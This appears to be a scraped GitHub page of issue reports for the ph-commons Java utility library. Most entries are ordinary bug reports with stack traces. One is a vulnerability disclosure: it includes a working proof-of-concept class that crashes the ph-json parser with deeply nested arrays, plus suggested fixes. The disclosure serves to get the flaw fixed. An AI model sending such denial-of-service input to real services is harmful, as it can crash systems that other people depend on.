This is a set of shared Java 11+ libraries used in many other projects. The last version supporting Java 1.8+ was 10.2.0. See the Wiki for details.
My personal Coding Styleguide | It is appreciated if you star the GitHub project if you like it.
Java 11 Library with tons of utility classes required in all projects
License: Apache License 2.0
This is a set of shared Java 11+ libraries used in many other projects. The last version supporting Java 1.8+ was 10.2.0. See the Wiki for details.
My personal Coding Styleguide | It is appreciated if you star the GitHub project if you like it.
Provide a new static exception handler that is invoked for every DAO exception, to simplify customizing.
Add method to check f it overlaps with another period
I had used 11.0.0 version of https://github.com/phax/ph-commons project for https://github.com/phax/ph-schematron but it had missing one method.
com.helger.xml.XMLHelper#pathToNodeBuilder seems missing in v11.0.0 and I build on my box today it. After it https://github.com/phax/ph-schematron was successfully built without tests.
Hello,
I am trying to use this library (ubl 2.1)in the Android Kotlin project but I am getting NoSuchMethodError when trying to parse invoice XML with
UBL21Marshaller.invoice().read(invoice)
Complete stacktrace:
java.lang.NoSuchMethodError: No static method newDefaultInstance()Ljavax/xml/parsers/SAXParserFactory; in class Ljavax/xml/parsers/SAXParserFactory; or its super classes (declaration of 'javax.xml.parsers.SAXParserFactory' appears in /apex/com.android.art/javalib/core-libart.jar)
at com.helger.xml.XMLFactory.createDefaultSAXParserFactory(XMLFactory.java:446)
at com.helger.xml.serialize.read.SAXReaderFactory.createXMLReader(SAXReaderFactory.java:44)
at com.helger.jaxb.IJAXBReader.read(IJAXBReader.java:99)
at com.helger.jaxb.IJAXBReader.read(IJAXBReader.java:79)
at com.helger.jaxb.IJAXBReader.read(IJAXBReader.java:143)
at com.helger.jaxb.IJAXBReader.read(IJAXBReader.java:282)
at com.dizdarevic.efakture.ui.invoiceList.InvoiceListViewModel$1.invokeSuspend(InvoiceListViewModel.kt:37)
at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:106)
at kotlinx.coroutines.internal.LimitedDispatcher$Worker.run(LimitedDispatcher.kt:115)
at kotlinx.coroutines.scheduling.TaskImpl.run(Tasks.kt:100)
at kotlinx.coroutines.scheduling.CoroutineScheduler.runSafely(CoroutineScheduler.kt:584)
at kotlinx.coroutines.scheduling.CoroutineScheduler$Worker.executeTask(CoroutineScheduler.kt:793)
at kotlinx.coroutines.scheduling.CoroutineScheduler$Worker.runWorker(CoroutineScheduler.kt:697)
at kotlinx.coroutines.scheduling.CoroutineScheduler$Worker.run(CoroutineScheduler.kt:684)
Suppressed: kotlinx.coroutines.internal.DiagnosticCoroutineContextException: [StandaloneCoroutine{Cancelling}@84ad87f, Dispatchers.IO]
If you could help me I would be grateful. Thanks.
In XMLHelper.getPathToNode
, if a node that is part of the path has one or more siblings with the same name, the path returned indicates the position of the node : /a/b[2]/c
But the position number seems to be off by one. For example, if the node is the first sibling, the position will be 0.
But with XPath, position numbers start at 1
This is visible in the unit test at https://github.com/phax/ph-commons/blob/master/ph-xml/src/test/java/com/helger/xml/XMLHelperTest.java#L319
The node passed to XMLHelper.getPathToNode is the second occurrence of "e1" : //e1[2]
But the location returned indicates it as .../e1[1]
This also affects XMLHelper.getPathToNode2
, and this in turn affects ph-schematron in pure mode: the location attribute for failed-assert
in SVRL validation reports is off by one.
If this is indeed an issue and not the intended behavior, I can submit a pull request to correct this.
When used within a JPMS module environment (i.e. any project with a module-info.java
), SuppressFBWarnings into conflicts with the same annotation from spotbugs-annotations. You could consider using https://mvnrepository.com/artifact/com.github.spotbugs/spotbugs-annotations instead, which seems more like it could be the "official" version for SuppressFBWarnings
.
For example, when running Javadoc on a module project, you get errors like this
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-javadoc-plugin:3.5.0:aggregate-no-fork (default-cli) on project fc-form-common: An error has occurred in Javadoc report generation:
[ERROR] Exit code: 1
[ERROR] error: module com.google.common reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module net.coobird.thumbnailator reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.reflections reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module de.xima.fc.fc_form_common reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.fontbox reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.checkerframework.checker.qual reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.pdfbox.debugger reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.pdfbox reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module com.google.errorprone.annotations reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.commons.io reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.commons.csv reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.jsoup reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module java.validation reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.commons.collections4 reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module com.helger.commons reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.commons.text reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.commons.codec reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.commons.lang3 reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module de.xima.fc.fc_aspose_processor reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.commons.configuration2 reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.javassist reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.httpcomponents.httpclient reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.pdfbox.tools reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module com.helger.css reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.hibernate.validator reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.apache.httpcomponents.httpcore reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module java.servlet reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module org.mozilla.rhino reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module de.xima.fc.fc_form_function_parser reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: module com.github.spotbugs.annotations reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] error: the unnamed module reads package edu.umd.cs.findbugs.annotations from both com.github.spotbugs.annotations and com.helger.commons
[ERROR] 31 errors
[ERROR] Command line was: /usr/lib/jvm/java-17-openjdk-amd64/bin/javadoc @options @packages
[ERROR]
[ERROR] Refer to the generated Javadoc files in '/home/madgaksha/git/xima-formcycle-alt-1/fc-form-common/target/site/apidocs' dir.
See https://docs.oracle.com/en/java/javase/21/docs/api/new-list.html
The methods under question are:
ArrayList.getFirst()
ArrayList.getLast()
ArrayList.removeFirst()
ArrayList.removeLast()
These methods in ICommonsList
need to be deprecated for removal and instead new methods with OrNull
appended to their names, but with the same functionality needs be added.
Firstly, thank you @phax because of your useful library, It saved my time a lot.
I see a method in you util method return a value maybe incorrect.
PDTXMLConverter.getXMLCalendarDate(new Date(2018-10-31)) return 2018-09-31
Date d = new Date("2018-10-31") //2018-10-31
// UBL library
DeliveryType deliveryType = new DeliveryType();
deliveryType.setRequestedDeliveryPeriod(new PeriodType() {{
setEndDate(PDTXMLConverter.getXMLCalendarDate(d));
}});
it return the value with 2018-09-31
I solved by pass a LocalDate argument instead of Date.
I think the return of these overload methods should be the same with PDTXMLConverter.getXMLCalendarDate(LocalDate localDate);
Due to a typo in the ph-scopes POM @ maven-bundle-plugin / Export-Package, the com.helger.scope package is not exported in an OSGi environment.
Hello! Been using your as2-lib library for sending AS2 messages and I'm loving it so far!
I had a question (or potential bug) about the HttpHeaderMap.getUnifiedName() method. It seems to be forcing lower-case when adding header values to the map.
While I agree that the HTTP spec says that header names are case-insensitive, I am dealing with a recipient (FDA ESG) that is case-sensitive with respect to header names. This forced me to modify ph-commons so that header names are not lower-cased prior to injection into the header map.
I'd like to propose that HttpHeaderMap is changed so that header names are not forcefully lower-cased when inserted into the map, while the lookups remain case-insensitive. I'd like to know your thoughts on this proposal; I wouldn't mind making a contribution for this change.
Thanks,
Tim
Hello
I am trying to use your library but have hit a stop because the unmarshalled OrderResponseType is not serializeable. In IssueDate a XMLOffsetDate is used - this class lacks: implements ... Serializable
thanks!
The description of the project says:
About
Java 11 Library with tons of utility classes required in all projects
I couldn't find a reference to the maven compiler release specified anywhere. Depending on the maven version, this can end up with the project being compiled against Java 8 source and target.
Specify the desired release explicitly in the base pom via <properties>
, like
<maven.compiler.release>11</maven.compiler.release>
or within the <configuration>
of an explicit maven-compiler-plguin
build plugin.
Hi Phil,
Do you have any idea how might I be able to pass in crypto.properties path via a systemproperty?
I also tried setting a config.properties file - with all the entries from crypto.properties - referenced via config.file SystemProperty but without success.
Caused by: java.lang.IllegalArgumentException: The value of 'Not a file URL: jar:file:/C:/Users/Jerry/.m2/repository/eu/toop/tc-main/2.0.0-SNAPSHOT/tc-main-2.0.0-SNAPSHOT.jar!/reference.properties' does not match the expected value. Passed value: fi
le -- Expected value: jar
at com.helger.commons.ValueEnforcer.isEqual (ValueEnforcer.java:1513)
at com.helger.commons.url.URLHelper.getAsFile (URLHelper.java:930)
at com.helger.commons.io.resource.URLResource.getAsFile (URLResource.java:202)
at com.helger.config.source.res.AbstractConfigurationSourceResource. (AbstractConfigurationSourceResource.java:58)
at com.helger.config.source.res.ConfigurationSourceProperties. (ConfigurationSourceProperties.java:94)
at com.helger.config.source.res.ConfigurationSourceProperties. (ConfigurationSourceProperties.java:64)
at com.helger.config.ConfigFactory.lambda$createDefaultValueProvider$2 (ConfigFactory.java:93)
at com.helger.config.source.MultiConfigurationValueProvider.createForClassPath (MultiConfigurationValueProvider.java:277)
at com.helger.config.ConfigFactory.createDefaultValueProvider (ConfigFactory.java:91)
at com.helger.config.ConfigFactory. (ConfigFactory.java:44)
Similar to Spring configuration profiles.
See e.g. https://www.baeldung.com/spring-profiles
Source: phax/peppol-reporting#9
Hi Philip, I'm getting an UnsupportedOperationException in PLImage using certain images.
The exception message is:
Caused by: java.lang.UnsupportedOperationException: BITMASK Transparency JPEG compression is not useful, use LosslessImageFactory instead
My BufferedImage is obtained by from a URL however I'm sorry but I can't give that to you so instead I have attached the image itself.
I've been able to implement my own AbstractPLImage
which uses LosslessFactory.createFromImage()
to return a PDImageXObject
and use this class in place of your PLImage. However I was wondering if you were aware of this problem and decided to raise this issue.
Thank you.
One for Streams, one for Reader/Writer
Hi Philip, invoices generated with the JAXBWriterBuilder class are not formatted (the XML data isn't formatted with linefeeds and indentation). I think the property Marshaller.JAXB_FORMATTED_OUTPUT
is not set up.
final ESuccess eSuccess = UBL20Writer.invoice ().write (aInvoice, new File ("target/dummy-invoice.xml"));
Updated:
Sorry, it was my mistake. For fix, is necessary use line below:
final ESuccess eSuccess = UBL20Writer.invoice().setFormattedOutput(true).write(aInvoice, new File("target/dummy-invoice-with-ext.xml"));
regards!
java.util.ConcurrentModificationException: null
at java.util.HashMap.computeIfAbsent(HashMap.java:1135) ~[?:?]
at com.helger.commons.cache.AnnotationUsageCache.hasAnnotation(AnnotationUsageCache.java:95) ~[ph-commons-10.1.5.jar:10.1.5]
at com.helger.commons.hashcode.HashCodeImplementationRegistry._isUseDirectHashCode(HashCodeImplementationRegistry.java:131) ~[ph-commons-10.1.5.jar:10.1.5]
at com.helger.commons.hashcode.HashCodeImplementationRegistry.getBestMatchingHashCodeImplementation(HashCodeImplementationRegistry.java:176) ~[ph-commons-10.1.5.jar:10.1.5]
at com.helger.commons.hashcode.HashCodeImplementationRegistry.getHashCode(HashCodeImplementationRegistry.java:260) ~[ph-commons-10.1.5.jar:10.1.5]
at com.helger.commons.hashcode.HashCodeCalculator.append(HashCodeCalculator.java:175) ~[ph-commons-10.1.5.jar:10.1.5]
at com.helger.commons.hashcode.HashCodeGenerator.append(HashCodeGenerator.java:472) ~[ph-commons-10.1.5.jar:10.1.5]
at com.helger.commons.mime.MimeType.hashCode(MimeType.java:344) ~[ph-commons-10.1.5.jar:10.1.5]
at java.util.HashMap.hash(HashMap.java:340) ~[?:?]
at java.util.HashMap.put(HashMap.java:608) ~[?:?]
at com.helger.http.AcceptMimeTypeList.addMimeType(AcceptMimeTypeList.java:56) ~[ph-http-9.6.2.jar:9.6.2]
at com.helger.http.AcceptMimeTypeHandler.getAcceptMimeTypes(AcceptMimeTypeHandler.java:85) ~[ph-http-9.6.2.jar:9.6.2]
at com.helger.servlet.request.RequestHelper.getAcceptMimeTypes(RequestHelper.java:1017) ~[ph-servlet-9.6.2.jar:9.6.2]
at com.helger.servlet.response.UnifiedResponse.<init>(UnifiedResponse.java:199) ~[ph-servlet-9.6.2.jar:9.6.2]
See phax/ph-ubl#25 - maybe cloning is not deep enough?
Using ph-json to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.
Exception in thread "main" java.lang.StackOverflowError
at java.base/java.util.ArrayList.get(ArrayList.java:459)
at com.helger.commons.collection.impl.ICommonsList.getLast(ICommonsList.java:201)
at com.helger.commons.collection.impl.ICommonsList.getLast(ICommonsList.java:186)
at com.helger.commons.collection.NonBlockingStack.peek(NonBlockingStack.java:112)
at com.helger.json.parser.handler.CollectingJsonParserHandler._addToStackPeek(CollectingJsonParserHandler.java:51)
at com.helger.json.parser.handler.CollectingJsonParserHandler._addSimple(CollectingJsonParserHandler.java:71)
at com.helger.json.parser.handler.CollectingJsonParserHandler._addCollection(CollectingJsonParserHandler.java:76)
at com.helger.json.parser.handler.CollectingJsonParserHandler.onArrayStart(CollectingJsonParserHandler.java:115)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:804)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
at com.helger.json.parser.JsonParser._readArray(JsonParser.java:820)
at com.helger.json.parser.JsonParser._readValue(JsonParser.java:959)
<dependency>
<groupId>com.helger</groupId>
<artifactId>ph-json</artifactId>
<version>9.5.5</version>
</dependency>
import com.helger.json.serialize.JsonReader;
public class PoC {
public final static int TOO_DEEP_NESTING = 9999;
public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String jsonString = TOO_DEEP_DOC;
JsonReader.readFromString(jsonString);
}
}
Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)
Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((google/gson@2d01d6a20f39881c692977564c1ea591d9f39027))
Based on phax/ph-ubl#11
Hi Philip,
The EKeyStoreType doens't contain the following enum
BCFKS ("BCFKS ");
Could you please update the ph-security library with this value.
Please add this change for next release of as2-lib
Thanks,
Itay
Change to TriState and print only if explicitly defined.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.